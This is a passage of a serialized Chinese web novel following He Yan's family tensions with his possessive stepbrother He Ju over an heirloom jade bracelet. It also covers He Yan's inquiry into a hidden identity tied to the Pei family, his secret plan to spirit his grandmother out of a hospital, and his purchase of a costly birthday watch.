贺衍斜了他一眼,扯了扯嘴角,迈步离开了。贺琚也不在意贺衍的态度,慢悠悠地跟在他的后面。 他的目光落在两人的影子上,交叠的影子在阳光下融为一体。贺琚的唇角微微勾起,笑意从眼底漾开。 贺衍推开房门,走进去后就反手把门关上。 但被贺琚立刻挡住了:“哥哥不会还在生气吧。我都说上次是我无意点开监控才知道哥哥回来那么早。而且监控都在公共区域——” 贺琚的声音忽然停顿一瞬,他莫名轻笑了一下,声音忽然压低:“哥哥不会是以为,我每天都在偷窥你吧。” 贺衍嘴角一抽,眉梢挑了一下。 他本来已经对贺琚有一点改观了,结果前天那事让他忽然意识到,贺琚这小子根本一点也没变。 如果不是确定卧室没有监控,他刚才见到贺琚开门的第一眼就把他揍趴下了。 他低头看着贺琚挡在门上的手,如果用力关上,贺衍眯了下眼,但他的手受伤是小事,但受伤之后会不会像之前那样逼着自己照顾他—— 他可不希望这疯子再发疯。 贺衍一只手抵着门,另一只手掰开了贺琚的手指。 贺琚几乎没什么反抗地顺着贺衍的力道松开了手,就在手离开门框的瞬间,贺琚忽然笑意盈盈地说道:“我刚才去了医院一趟,奶奶有话让我告诉哥哥。” 推门的阻力变小了,贺琚眼角的笑意加深,刚才提前去医院去是对的。 贺琚推开了门,哥哥的房间还是这么整齐,但基本没有居住痕迹啊。贺琚嘴角的笑意收敛,哥哥看起来根本没有把这里当家。 不过哥哥不喜欢这里没关系。贺琚唇角勾了勾,眼底的光芒似乎被瞬间夺走,只余汹涌的暗色。 贺琚转身,对上了一张没什么表情的脸,连眉梢上都挂着几丝不耐烦,但却没有像刚才那样赶人。 果然奶奶是对付哥哥的“利器”。 贺琚依旧笑着,眼角弯弯地看着贺衍,尾音上扬:“哥哥想知道,奶奶说了什么吗?” 第56章 第 56 章 玉镯 第56章 “奶奶拜托我多照顾哥哥, 还让我多和哥哥待在一起。对了,最重要的是,奶奶觉得哥哥对我的态度太差了, 所以让哥哥以后对我好一点。” 贺琚笑着歪了下头:“哥哥不信吗?我可没说谎, 不信你打电话问问奶奶。” 贺衍烦躁地拧了下眉,自从上次贺琚和奶奶单独聊过之后, 奶奶对贺琚就异常亲近。但他到现在都不清楚两个人说了什么。 贺衍瞥了他一眼,眼中的不耐几乎快要溢出:“别说废话。” “哥哥居然说奶奶的话是废话。”贺琚无辜地看着贺衍,视线不经意地从贺衍额前的碎发上划过。哥哥现在的头发,比之前长了好多,贺琚眨了眨眼:“对了, 奶奶还说她自己一个人也可以照顾好自己, 哥哥想干什么都可以, 不用顾忌她,奶奶说她都会支持你的。” 贺衍一怔,奶奶应该不知道他之后要做什么才对。医院那边他都打理好了, 只要等贺琚生日那天—— “不过我觉得奶奶这话说得不对。”贺琚勾起唇角凑近贺衍,睫毛忽闪:“还是要有人看着哥哥比较好。” 贺衍的眉梢冷下来:“你什么意思?” 哥哥的心不在这里, 没人看着,哥哥就该跑了啊。贺琚歪了歪头, 他往后退了几步:“我只是觉得哥哥没了别人约束, 会做出一些危险又让人担心的事。所以我告诉奶奶, 我会替她看好哥哥。” “啊, 还有一件事,”贺琚眼睛笑得眯了起来:“奶奶知道我下周要生日,所以送我了一件生日礼物。” “什么礼物?”贺衍皱着眉看着他,眼皮忽然一跳。 贺琚从怀里拿出一个红布, 他将红布掀开,露出了一个淡绿色的玉镯:“这个。” 贺衍的表情瞬间变得古怪起来,脸色呈现五彩斑斓的黑。奶奶她到底误会什么了,贺衍额头的青筋跳了一下,嘴角抽搐:“贺琚,我给你换个礼物吧,把这个还给我。” 贺琚语气里带着几分难过:“哥哥让我还给你,是觉得我不配有这个镯子吗?” 贺衍捏了捏眉心,镯子本身的价值并没有特别高,但问题是这个镯子——贺衍盯着贺琚手里的玉镯,眸中满是纠结。喉咙像是被什么东西堵住了,想说的话在嗓子里上不去下来不来,噎的人难受。 贺衍内心抓狂,奶奶曾经告诉过自己,这个镯子打算传给她的孙媳妇,问题是为什么奶奶把这个给贺琚了啊。 或许是因为奶奶来淮新的时候,带的东西不多,能够送人的只有这个玉镯。贺衍唯一能想到的只有这个理由。 贺琚拿着镯子的手动了一下,贺衍的目光随之移动,但依旧在沉默着。 贺琚眼尾微挑,他抑制住唇瓣的上扬,他当然知道这个镯子意味着什么,毕竟这是奶奶亲口说的,并且亲手把它交给了自己。贺琚把玉镯放进红布里包好,小心放回了口袋。 贺衍抿着唇,犹豫了下:“这个玉镯它,它的确不适合你。” “可是哥哥,这是奶奶给我的礼物,我很喜欢。”贺琚一脸迷茫,声音也微微发颤,他垂下眼睛,眼尾也垂了下去,看起来可怜又脆弱。 贺衍忽然瞥到了他眼角的泪花,整个人瞬间精神紧绷,他完全不相信贺琚这小子会为了这件事哭。 但最好别哭,这疯子之前好多次就是哭了之后开始发癫。他还是想多和正常一点的贺琚交流,贺衍深吸了一口气,尴尬就尴尬吧:“这个玉镯是我奶奶打算——” 但贺衍的话被打断了。 “可能这个镯子真的不适合我吧。但奶奶说这是给我的生日礼物,哥哥怎么能随意就要走呢。”贺琚语气里满是自嘲和失落,他的泪花在眼里打转,但始终没有落下,微红的眼眶中带着几分潋滟,眸中满是水雾。 好烦,好烦,贺琚为什么就不能正常一点。贺衍头疼得要命,要不是现在这个阶段他不能惹事,不然他真想一拳砸贺琚脸上,然后把玉镯直接拿回来,而且他刚才不都说会给他换一个生日礼物了吗,又不是不给他。 贺衍揉了揉太阳穴,语气有些无力:“你要是喜欢,我给你买一个更好的镯子。” 贺琚的声音已经有些哽咽了:“哥哥完全不懂我的意思,我在意的根本不是镯子。” 贺琚偷偷瞥了贺衍一眼,哥哥现在的表情真是有意思。他低着头掩住自己的表情,身体一耸一耸,像是在默默抽泣一样。 “那你打算怎么办,”贺衍张嘴就准备解释:“这个玉镯是给我未来——” 贺琚抬起了头,表情变得平静,看起来很郑重,他没给贺衍继续解释的机会。 “我不要哥哥给我买镯子当礼物。生日的时候,我会把奶奶给我的礼物还给你的,但作为交换,我要哥哥——” 贺琚的语气停顿了片刻,唇角重新挂上笑意,只是笑容看起来依旧有些勉强:“我要哥哥的礼物作为交换。” 贺衍扯了扯嘴角:“行。” 如果到时候贺琚说话不算数,他真的不介意把这小子打一顿,到时候奶奶应该已经离开淮新了,他也没有什么顾虑了。 贺琚垂下了眼睛,浓郁的兴奋在眼底跳跃,眸色愈发黑了。如果哥哥给的礼物不让自己满意的话,他就要亲自去取他最想要的礼物了。 “打扰哥哥了,我先走了。” 关门的瞬间,贺衍听到门外传来一声很轻的低语:“我真的很期待哥哥的生日礼物。” 贺衍站在原地,盯着紧闭的房门,长叹了一口气,这叫什么事啊。等一会儿他得打电话问问奶奶到底是怎么一会儿事。 贺衍摇了摇头,暂且把这件事放到一边。 什么味道,贺衍鼻尖轻嗅了下,是佛手柑。 贺衍视线忽然停在了左手上,他举起手闻了一下,眉心一皱,大步走进洗手间,用力搓手,直到清香的肥皂味将其覆盖。 贺衍俯身靠近水池,手指撩水拍到上脸上,水珠顺着棱角分明的下颌滑落,浸湿了微卷的睫毛,也浸湿了鬓角的碎发。 贺衍盯着镜子,头发的确长了,但他不打算现在剪掉。贺衍直起身,随手抓起一旁的毛巾,将脸上的水擦拭干净。 贺衍打开手机,编辑了一条短信,发送之后随即删除。 他站到窗外,看着左边的那栋明显要低矮一些的安宁楼,陷入了沉思。 刚才他和罗霞聊了一会儿,她的态度不卑不亢,十分淡定。但和上次一样,她说话的时候依旧避开了自己的视线,她甚至不是刻意不看,而是下意识地移开。 他观察过罗霞和别人交流的状态,并没有发生移开视线的这种情况。 这是疑点之一。 他和罗霞聊天大约有二十分钟,最开始他并没有提起林娴和陈月香这两个名字,而是快要离开的时候,才随意编纂了一个姓林的雇主的故事,并且稍加改动地插入了裴家的那位电工和陈月香的事,依旧没有提起任何具体的人名。 罗霞的表现依旧很正常,看起来完全是第一次听到这个故事的样子。但他那时候并没有明说那位林雇主是男是女,但是罗霞却下意识地把那个姓林的雇主当作了夫人。 这是疑点之二。 虽然仅凭这两个疑点并不能确定罗霞和陈月香有没有关系,但介于原书的狗血程度,再加上十八年前这个年份。他有很大的理由怀疑,罗霞很可能就是陈月香,而且她很可能跟贺家真假少爷这件事有关联。 只是现在这些只是怀疑,并没有证据。 如果罗霞就是陈月香,那她贺忠载对罗霞的特殊“关照”,也就不可能是婚外情这么简单了。 秋日的傍晚,夕阳低垂将天边染成橙红,空气中弥漫着淡淡的凉意。 贺衍看了眼时间,给杨梅霞拨通了电话。 …… 贺衍的声音忽然变大,他的眼神呆滞,声音干涩:“所以奶奶,你真的是因为没什么好送的,才把那个手镯给贺琚了?但你不是说那个镯子是你未来要留给——” 杨梅霞罕见地没有听贺衍说完,而是直接打断了他,笑着说道:“小衍,小琚是个好孩子。他帮你了那么多,你也不要总是对他有那么大的偏见。我看那孩子心地善良,又长得好看……” 贺衍无言以对,只能沉默地听着杨梅霞夸贺琚。他的眉心拧在一起,心里有些发酸,贺琚到底给奶奶下了什么迷魂汤。 奶奶不是说这个玉镯是她的姥姥传给她的妈妈,妈妈又传给她的吗?如果不是因为他知道在奶奶心中这个镯子很重要,他也不会非得往贺琚要回来。 贺衍将手机放到一旁,无声了冷哼了一声,他撇了下嘴,就算奶奶再怎么夸他,他也不会把镯子给贺琚。 日历无声翻动,时光悄然流逝。 贺琚的回归并没有给贺衍在圣洛莱索的生活带来什么实质性的影响。闲言碎语或许比之前要多了,但却没多少人敢在贺衍面前嚼舌根子。 周三,没了散打课,多出来了一整个下午。 肚子忽然叫了起来,贺衍看了眼时间,四点半,餐厅已经开门了,正好避开下课的人流。 贺衍从摆渡车上下来,阳光落在身上,带起一阵困倦的暖意,他打了个长长的哈欠,眸中覆上了一层水雾。 睁开眼的瞬间,一匹黑色的马瞬间闯入视野,正朝着他这个方向狂奔而来。 贺衍眨了下眼,愣在了原地,这匹马,怎么这么眼熟。 第57章 第 57 章 谁下的迷药 第57章 四蹄踏地, 黑色的鬃毛在风中舞动,马蹄声由远及近,节奏急促而有力。 卡洛斯怎么会出现在这里? 贺衍还来不及细想, 卡洛斯就要冲到眼前。然而, 就在它即将冲到贺衍身边时,突然放缓了脚步, 原本紧绷的身躯也渐渐松弛下来。 黝黑的双眼中,神色由锐利转为温柔。它轻轻低下头,温热的鼻息扑到贺衍的脸颊上,它亲昵地蹭了蹭贺衍的肩膀,喉咙里发出低低的、愉悦的嘶鸣。 “你还记得我啊?”贺衍笑着摸了摸它的头, 有些疑惑地看着卡洛斯:“只是, 你怎么跑到这里了?” 这个时间点, 路上的人并不多,空气中弥漫着淡淡的桂花香,梧桐树影斜斜地铺在石板路上, 夹杂着几分秋日的凉意。 贺衍的问题很快就得到了解答,就在他牵着卡洛斯往马场走去的时候, 迎面遇上了两个人。 “这周轮到我了,你别跟我抢。” “抢什么抢, 最开始不是说好了, 轮完两个女生就该我骑那匹黑马了。” “它一点也不喜欢你, 不然也不会跑了。要不是因为你, 也不会都快下课了,咱俩谁都没能骑上马。” “好像没有我你就能骑上——卡洛斯在那里!” 两个人小跑过去,脚步忽然顿住了,看到贺衍的瞬间, 两人的表情也整一个僵住了,随后二人对视了一眼,拦住了路。 卡洛斯的耳朵猛地向后贴紧,鼻孔张大,露出牙齿,喷出一声短促而低沉的响鼻,尾巴甩来甩去,看样子像是要驱赶什么。 贺衍也停下了脚步,轻轻抚摸了下卡洛斯的脖颈,没什么表情地看着挡路的两个人:“麻烦让一让。” 这些天他真是听烦了裴屷和贺衍的各种真真假假的绯闻,一个狗屁的私生子,居然敢编造这种谣言,如果当初不是因为贺衍,他也不用和另外三个人共享这匹马,说不定能和裴屷搞好关系的就是自己了。 “又是你啊,贺衍学长。”阴阳怪气的声音从一男生的嘴里发出,他耸了耸肩,整张脸写满了不屑:“不让又如何。” 另一人则是什么话都没说,直接就过来准备抢贺衍手里的缰绳。 贺衍半眯着眼,肚子好饿,他也没心思和这两个人废话,挨个轮流一人一拳把这俩人拎到了一边,牵着卡洛斯离开了。 整个马场笼罩在一片金色的余晖中,马上就要下课,裴屷牵着阿斯皮尔正欲离开。 阿斯皮尔的耳朵猛地竖起,目光锁定在不远处一匹黑色马身上。它的眼神瞬间变得明亮,鼻翼翕动,喷出一声兴奋的响鼻。 未等裴屷反应过来,它就猛然扬起头,挣脱了缰绳,向那个方向飞奔过去。夕阳的余晖洒在它的身上,白色的毛发如镀上一层金边,鬃毛和尾巴仿若流苏在风中肆意飞扬。 贺衍忽然感觉手里的缰绳紧了,他稍微侧头看了一眼,卡洛斯的耳朵已经竖了起来,眼神明亮,嘴里发出欢悦的嘶鸣,仿佛在打招呼一样。 欢快的马蹄声更近了,阿斯皮尔扬起前蹄,轻盈地跳跃了几下,然后快步奔向卡洛斯。钴蓝色的眼里满是开心。 卡洛斯动了动脑袋,示意贺衍松开缰绳,便立刻迎上了阿斯皮尔。 两匹马靠近时,互相低头嗅了嗅彼此,鼻息交织间,发出了轻柔的哼鸣。它们的尾巴也高高翘起,身体微微靠拢,彼此蹭着脖颈,显得格外亲昵。 贺衍看到白马,便瞬间想起了和它拥有同样眸色的主人。 贺衍眨巴着眼,看着头颈交错,姿态亲昵的两匹马,唇角下意识地勾了起来,不过,卡洛斯之前和阿斯皮尔的关系有这么好嘛。 裴屷从远处缓步而来,脚步沉稳而从容。 阿斯皮尔再次蹭了蹭卡洛斯的头,然后走回了裴屷身边。 贺衍顺势看向裴屷,他的语气轻松,眼底还带着笑:“它们的关系什么时候变得这么好的。” “这几周卡洛斯一直被不同的人缠着,是阿斯皮尔帮它赶走的。”裴屷语气平淡地解释了一句,他意味不明地扫了贺衍一眼,随后移开了视线:“也是巧了,我晚上正打算联系你。” 裴屷的语气听起来似乎不太妙,贺衍握着缰绳的手紧了一些:“发生什么事了吗?” “贺衍,你难道真的想和我订婚吗?”裴屷摸了摸白马的额头,复杂的眼神中透出一种难以捉摸的平静,仿佛深不见底的寒潭。 因为那份合同,他之前从来没考虑过贺衍和贺忠载会是共谋这种可能性。 他被下药当天就进行了血检,血液里残留的药物是NHAD,一种可以口服并且副作用极小的麻醉药,上瘾性很低。 NHAD价格昂贵,流通率不高,但因为会在短时间使人失去意识,且醒来后会忘记昏迷时发生事情,已经被联邦列为违禁药物。 但这种药表面上是禁药,实际上在各大医院均有流通。母亲后期病入膏肓,一直靠这种药缓解疼痛。 贺家有两所医院,能搞来这种药并不奇怪。 他那时候根本不认为NHAD会和贺衍有关,因此找黑市上近期的NHAD交易这件事被他往后搁置了。 但是当黑市上近一个月的交易记录全部呈现到眼前的时候,他才发现自己想错了。 怀疑的种子一旦种下,便如同毒药般渗透进血液。他不想怀疑,但心底的阴霾却始终无法消散。 这又是哪跟哪,这不是他和裴屷都心知肚明的事情吗,贺衍蹙了下眉:“当然不想。” “距离你的生日已经过去近三周了。这个月也马上就要结束了,贺衍,你找到问题的答案了吗。还是说,你依旧一无所获。” 裴屷的语气很平,但其中夹杂的些微嘲意却异常明显,他看着贺衍,眸中带着几分微不可察的审视。 贺衍沉默了一会儿。 裴屷定定地看着他,并没有催促。 秋日的黄昏,微风轻拂,夹杂着干草和泥土的气息,卷起几片金黄的落叶,在空中轻轻旋转。远处响起马蹄轻踏的声音,阳光斜洒,恬静中透着隐隐的紧张。 贺衍开口:“那位林夫人的资料里没有她的照片。十八年前,即使那时联邦的科技远不如现在发达,但有当年陈月香的照片,却没有林娴的照片。甚至这位夫人的丈夫,也没有任何相关的记录。” 联邦人口数据管理在十五年前开始转型,从人工登记转向数字化。联邦行政区划分为四级:一是州;二是市;三是县;四是乡、镇。 贺衍所在的罗河县是第三个等级,但因为罗河县地处略阿州与亚纽州交界之处,且乡镇较多,州界划分不明确,管理很是混乱。直到十年前,罗河县相关的数据才正式接入联邦数据库,但一直处于相对滞后且不完善的状态。 十五年前,当政的正好是森铭学。选举前他的口号之一便是便民利民推动全民数据数字化。也因为这样,他当选之后,立刻加大力度推进数据化进程,作为联邦首都的淮新就是最开始的试点。 因此淮新不可能会出现罗河县这种情况。除非意外,不然不可能就单单没了林娴的资料。 森铭学早年丧妻后便没有再娶,自他退任之后便淡出了公众视野。如果不是贺忠载上次提起森铭学这个名字,他也从来不会认为森铭学和裴家会有什么联系。 但如果罗霞就是陈月香,他的心底升起一个很荒谬的念头。可这个念头太过于荒诞无稽,如果不是今天裴屷的质问,他早把这个无稽之谈抛到脑后。 裴屷敛眸,轻声回道:“十五年前,淮新市政大楼曾经发生过一场大火,虽然及时扑灭没有造成人员伤亡,但档案室有部分数据被毁。因为涉及政府威信,并没有进行公开,只有很少一部分人知道。” “所以有关林娴的资料,‘恰好’被那场火烧掉了。”贺衍眉梢微挑,这简直是太巧了,让他那本就荒谬的猜测忽然多了几分可信度。 假如他的猜测是真的,那原书里,裴行赫拒绝贺琚却不拒绝贺衍跟裴屷,似乎有了一定程度的解释。 裴屷不置可否地点了点头:“的确很巧。所以,你是认为林娴的身份有问题?” 贺衍并没有回答,反而问道:“前联邦总统森铭学是你父亲的老师。” 裴屷的脸色变冷:“是又如何?你到底想说什么。” 贺衍眉头紧蹙,他掀起眼皮,直直地看向裴屷:“你见过森铭学的夫人吗?” 夕阳西斜,空气冷了几分。 裴屷眸色微沉,他凝了贺衍片刻,才说道:“未曾,伯母在我一岁时便去世了。” 贺衍笃定地说道:“那你的父亲应该见过森夫人。” 天边的斜阳落入裴屷的眼中,却未能点亮他的眸色:“但贺衍,这些跟裴贺两家之间的秘密又有什么联系。” 或许没什么具体的证据能证明有关,但一切已知的线索摆在眼前,好像又有了关系。 “你当初说你父亲不同意和贺家联姻的理由是他的命格与裴家相冲,我看不尽然。”贺衍的脚步停了下来,“我只是推断,但你可以再查一查林娴的身份,或许会有意外收获也说不准。” 贺衍的肚子不合时宜地响了一下,他跟裴屷到了声别,便牵着卡洛斯走回了马厩。 但自从这天之后,裴屷和自己的联系便中断了。即使每天在教室都能见到裴屷,但他发给裴屷的消息再没有过回复。 是裴屷查到了什么,还是什么也没查到。贺衍盯着手机里的对话框,长叹了一口气,然后删除了聊天记录。 他点开了日历,视线紧盯着其中一个日期,脸色冷峻。 后天就是贺琚的生日,所有的安排都已经就绪,只要奶奶平安离开淮新,不管是谁会向自己发难,但剩下的一切都不算什么了。 第58章 第 58 章 那就手表吧 第58章 联邦独立日, 连放三天假,连上周六周日,刚好是一个五天小长假。 贺衍从睡梦中惊醒, 没了半点困意。 才六点五十吗, 贺衍从床上坐起来,秋日的晨光在窗帘缝隙间漏进一线, 他唰的一声扯开帘布,阳光瞬间争先恐后地挤入室内。 贺衍眯了下眼,贺琚的生日在下周二,今年的这一天刚好赶上了联邦独立日的前一天。 往年的联邦独立日,淮新会举办很多活动, 今年也不会例外, 最近的新闻报道正实时直播着独立日盛典的进程。 从明天晚上开始直到周三, 每天晚上都会进行盛大的烟花表演。贺衍的指节无意识敲击着墙面,人潮、烟花、混乱,完美的掩护。 当天晚上, 医院的监控会在特定时间段失效六十秒。段成志目前急于晋升且贪财,所以才会被自己打动, 但他并不是那么可靠,很可能会临时反水。 如果他没有关闭监控, 一旦被监控室的安保人员发现, 可能会触发医院的二级警报。 好在清洁通道的备用钥匙已经弄到手了, 只要奶奶撑过那段陡峭的消防梯, 到时间会有人去接应。 一辆假牌照的车藏在街心公园广场的南侧,只要能离开医院,就能顺利离开淮新。 贺衍的半张脸藏在阴影里,在脑海中反复推演。 放在床头柜上的手机边震动边发出声响, 贺衍走过去关了闹铃。 七点半了。 总感觉忘了什么,是忘了什么具体的细节吗,贺衍敛眸再次推演了一遍,但依旧没发现什么不对。 他疑惑地蹙眉,脑海中忽然闪过什么。贺衍揉了揉突突发胀的太阳穴,他想起来了,他还没有准备贺琚那小子的生日礼物。 贺衍打开手机,联网搜索:十八岁男生成人礼物送什么最合适? 第一条:手表是成年男性的标志性配饰之一,佩戴手表是一种成熟和独立…… 贺衍面无表情地点了点头,那就手表吧。不管到时候贺琚喜不喜欢,反正他会把奶奶的玉镯拿回来。 贺衍按照心中想的价格搜了几个机械表的牌子,确定目标之后,合上手机。 他随便穿了件外套,正准备开门离开,脚步忽然一顿,转身拉开抽屉,拿走了里面的车钥匙和驾驶证。 贺忠载在自己生日那天送了他一辆超跑,后来得知自己会开车但是没有驾驶证之后,没过几天他就得到了属于他本人的驾驶证,在这之前甚至都没有让他开车试一试。 贺衍盯着手里的驾驶证,指腹摩挲过凸起的钢印。他无声嗤笑了下,资本家连法律都能做成生日礼物,而联邦很多地方的普通人光活着就要拼尽全力。 但他现在也是既得利者,说什么都显得虚伪。贺衍垂下眼,把证件和车钥匙塞进了兜里。 吃过早餐,贺衍出门向车库走过去。 整座宅邸像上了发条的钟表,到处都有佣人的身影。大理石台阶上,几名女仆正在用鬃毛刷一寸寸地打磨雕花扶手;男仆们踩着梯子,手持长柄羽毛掸子轻扫水晶坠饰。 常佳的声音隐隐约约从远处传来,似乎是在吩咐人小心点拿东西。大概是在布置生日宴会,贺衍不感兴趣地收回视线,快步走向车库。 验过虹膜,车库的大门无声滑开,智能灯光次第亮起。 车库有三层,这一层是专门停放跑车的。冷白的灯光从穹顶落下,将二十余辆顶级座驾映照得如同陈列的艺术品。 贺衍大致扫了一眼,这一层的价值就快要十个亿了。 角落里,一辆樱桃红漆面复古跑车停靠在那里。 贺衍目光在那里停留了片刻,他记得这辆车,这是他第一次来到这里时,贺琚开的那辆跑车。 贺衍坐进一辆深蓝色的跑车里,打开地图导航,朝着目的地出发。 维纳斯购物中心是淮新顶级奢侈品购物中心之一,深蓝超跑碾过减速带,缓缓驶入购物中心的地下停车场。 贺衍关了导航,根据商场里的指示牌找了梵时阁。 梵时阁高奢店内,水晶吊灯将光线折射成钻石般的碎芒,经过精密计算的灯光均匀地洒落在每一个玻璃展示柜上。 空气中飘散着淡淡的檀香,大理石地面光洁如镜,倒映着天花板上手工绘制的壁画。 玻璃门无声滑开,一个穿着普通棒球服外套和深蓝色牛仔裤的年轻男人走了进来。 苏丽曼的目光落在他的脸上,眼前一亮,简直比电影明星还要帅。 但激动只有片刻,她随后上下打量了几下,目光在那双看不出品牌的运动鞋上停留了半秒后,嘴角的微笑立刻淡了几分。 苏丽曼在心里翻了个白眼,脸上虽然挂着职业性的假笑,但已经开始盘算着怎么尽快打发走这个闲杂人等,好去服务真正的贵客了。 没等对方开口,苏丽曼就抢先出声了,她的语气带着显而易见的不欢迎:“最新款都在那里,你要看什么?” 这句话说完,苏丽曼也完全没有要上前的意思。 贺衍自己走到柜台前看了看。 其他店员交换着心照不宣的眼神,默契地低头整理柜台。 新来的柜员刚想上前服务,就被同事拽住了衣角,同事压低了声音:“别管多闲事,苏姐最讨厌别人抢她的客户。” 整个店面突然陷入诡异的忙碌之中,无一人愿意抬头跟这位客人目光相接。 贺衍目光落在中央展示柜里的腕表上,铂金表壳在灯光下泛着冷冽的金属光泽,表盘上的陀飞轮装置在精密地运转。 贺衍眉梢微蹙,但这里面并没有他刚才在手机上看到的款式。 苏丽曼掀了下眼皮,随口问道:“有喜欢的吗?” 贺衍张了张嘴,发现自己根本不记得那个手表的那一长串的名称。 长得帅又不能给自己带来业绩,再帅又有什么用,穿着看不出牌子的休闲装,手腕上光溜溜的,连块像样的手表都没有,估计又是一个只看不买的。 苏丽曼在心里冷笑一声,这种客人她见多了,要么是攒了大几个月的工资来充面子的愣头青,要么就是来拍照发朋友圈装逼的网红。 “稍等,我再看一下我想要的那款表的名字。”贺衍拿出手机,重新点开之前搜索的页面,哦,找到了,梵时阁诗岸时刻系列。 苏丽曼不着痕迹地撇了撇嘴,这人的衣服连个她认识的牌子都没有,全身上下加起来估计都不超过三千块,可能连店里最便宜的手表都买不起。 贺衍没在意她的态度,他拿着网图给柜姐看:“就是这款,标价四百九十九万的手表。” 苏丽曼的眉毛一挑,下意识撇了下嘴,这款诗岸时刻系列“星空陀飞轮”全联邦限量十八枚,可以说是她们店里的镇店之宝之一了。 “这款需要提前预约才能查看。”苏丽曼假笑着,指尖敲了敲玻璃柜,“而且价格方面——”她拖长音调,不好意思地笑了下:“可能不太适合您现在的……消费层级。” 贺衍神色不变:“价格不是问题。” 他是按照手表价格排序搜索的,何眷蓉给自己的卡里有五百万,这款表刚好卡在四百九十九万,多出来的那一万就当是他来这里一趟的跑腿费了。 苏里曼差点笑出声来。这种硬撑场面的顾客她见多了。 她夸张地叹了口气:“如果您真的感兴趣,这边有几款入门级的……” 她指向角落里标价“仅”二十多万的基础款,“这些可能更适合初次接触高端腕表的顾客。” 梵时阁的大门再次打开了,骄纵的声音里带着几分不耐,金色的发梢在灯下愈发闪亮:“妈,我真是搞不懂了,你为什么非得亲自来,让他们送到家里选不就行了吗?” 女人金色的卷发在灯光下泛着蜂蜜般的光泽,每一缕都精心养护得柔顺光亮,只有眼角微微的细纹泄露了年龄。 “方盛寒,”她声音很轻,压着几分不耐:“我不知道你是怎么得罪贺琚了,现在要是再没点诚意让贺家的人消气——” 她的唇角勾起一丝冷笑:“你那辆宝贝跑车的油卡还有每个月的零花钱,我全都给你停了。” 她怔在原地,指尖还悬在半空中,不过眨了眨眼,方盛寒就没影了。 下一秒,她扭头便看见儿子快步奔向店内的某个展示柜前,一个黑发的年轻人正站在那里。 方盛寒肩膀微微前倾,连声音都比刚才放软了三分:“贺衍,怎么这么巧,在这里都能遇见你。” 贵妇人眯了下眼,贺衍,贺家的那个私生子?哪怕是在贺琚面前,她也没见过儿子这样殷勤的姿态。 “方太太,您来得正好!我们刚到一批新款,我特意给您留着呢。”苏丽曼立刻扭着腰肢迎了上去,脸上堆出十二分殷勤的笑容。 这才是值得她耐心服务的贵客,有钱的才是主顾。 苏丽曼故意提高音量,眼角的余光瞥向那个仍站在原地的年轻人,嘴角的一抹讥诮还没露出来,就僵在了脸上。 那是方少爷对吧,怎么对那个人那么殷勤,近乎在讨好了。 方盛寒的绿色猫眼里已经全然没了别的东西,心心念念地就只有贺衍一人。 “挺巧的。”贺衍修长的手指随意拨弄着手机,连半分余光都没分给方盛寒。 但方盛寒却像是没察觉到这份疏离和冷漠,甚至又往他身边蹭了半步,喉结紧张地滚动了下:“那,那一会儿要不要一起逛一逛,我知道这里有一家店,应该——” “不用。”贺衍终于抬眼,眉梢挂着毫不掩饰的厌倦和冷意。 他不想在这里浪费更多时间了。 第59章 第 59 章 “生日快乐,贺琚。”…… 第59章 方盛寒一脸沮丧, 他结结巴巴地回了个好。他垂着头,耳尖通红,但半垂的睫毛下, 瞳孔却亮得惊人, 目光如灼烫的丝线般慢慢缠在了贺衍身上。 他喉结滚动,呼吸放得极轻, 仿佛连眨眼都是浪费,目光舔舐般一寸寸落在了贺衍的手上——骨节分明的手指,手背上浮着淡青的筋络。 方盛寒呼吸发颤,幻想着那双手掐住自己脖子时陷入皮肉的力度,攥紧拳头时手背凸起的青筋, 还有指骨抵在他的皮肤上碾磨的触感。 他舔了下嘴唇, 膝盖软了一瞬, 但很快又鼓起了勇气,方盛寒抬头望着贺衍:“你来这里是要买手表吗?是自己用,还是要给别人买?我可以推荐的, 我有好多梵时阁的腕表。” 贺衍看了眼时间,他从走进这家店到现在已经浪费了十几分钟, 但是进度依旧是零。 “给别人买。”贺衍蹙眉,说完直接走到店内的角落那里, 指了指手机上的图片, “有这只表吗, 我要买。” “直接刷卡, 有的话就给我包起来,给别人的生日礼物。”贺衍将何眷蓉给的那张卡递给这个人。 新来的柜姐一脸惊讶地看着贺衍,呆呆地接过了银行卡,这可是将近五百万的手表, 自己的提成都能有几万,他不会真的买得起吧,自己不会中大奖了吧。 她礼貌地微笑着点头:“当然可以,先生,您先在这里稍作等待。” 生日礼物,方盛寒抿着唇,眼底闪过一丝复杂的情绪,果然是要送给贺琚的啊。 在贺衍生日那天,方盛寒告诉了贺琚他喜欢贺衍,他本以为就算贺琚会生气,但只要自己好好解释,应该也不会出什么问题。 但在贺琚知道这件事后,对自己的态度就彻底冷了下来,他离开圣洛莱索去姆扎州出差的那两周,没有回过自己的任何一条消息。 这次贺琚的生日宴会请帖,虽然照例送到了方家,但并没有再像之前那样,会单独给自己一份。甚至当初由自己牵手凑成的一个和贺家的合作,也彻底没了后文。 他本以为是因为贺琚讨厌贺衍,所以才会在知道自己喜欢贺衍后是这种态度。 方盛寒并不想失去贺琚这个朋友,也不想失去和贺家的关系。 上周贺琚回来之后,他亲自去找贺琚道歉,结果刚好看到贺琚和贺衍并排走着在说话。即使他不想承认,但贺琚眼里的神情,他很熟悉。 柜姐查了下银行卡的余额,压抑不住的内心惊喜和激动,居然真的有这么多钱。她的态度比刚才还要恭敬,将那只表取了出来:“先生,您要看一眼吗?” 没什么好看的,他不想再在这里浪费太多时间。 贺衍摇头:“直接装起来吧。” 方盛寒盯着那只腕表,眼神忽然阴鸷了一瞬。 贺衍知道贺琚喜欢他吗? 可就算贺琚喜欢又怎么样呢,他们是如假包换的血亲,他难道还能越过贺忠载去乱|伦。 方盛寒唇角抽动,紧抿成一条直线,心底的恶念在蠢蠢欲动。如果贺衍知道贺琚喜欢他的话,他还能和贺琚和平相处吗?他还会亲自来给贺琚挑选生日礼物吗? 苏丽曼的余光一直注意着那里,但好在被她服务的这位方太太也和她一样。 金发的贵妇人眯了下眼,上次贺家举办的生日宴会她没去,今天还是她第一次见到这位贺家的私生子。 “方夫人,您今天来是打算要哪款腕表呢,最近新出了……”苏丽曼轻声细语地介绍了一番,“您要试试吗?” “不用了。”女人从沙发上站起来,目光落在了自己的儿子身上,他似乎极其迷恋这个贺衍。 “方盛寒,回来。”冰冷像是裹着刀子一样的声音在方盛寒的耳边响起,他眼底黏稠的痴迷像被泼了盆冰水一般瞬间凝固。 方盛寒极不情愿地挪动步子,离开了这里。他不甘心地回头看了一眼,但贺衍没有投过来半分注意。 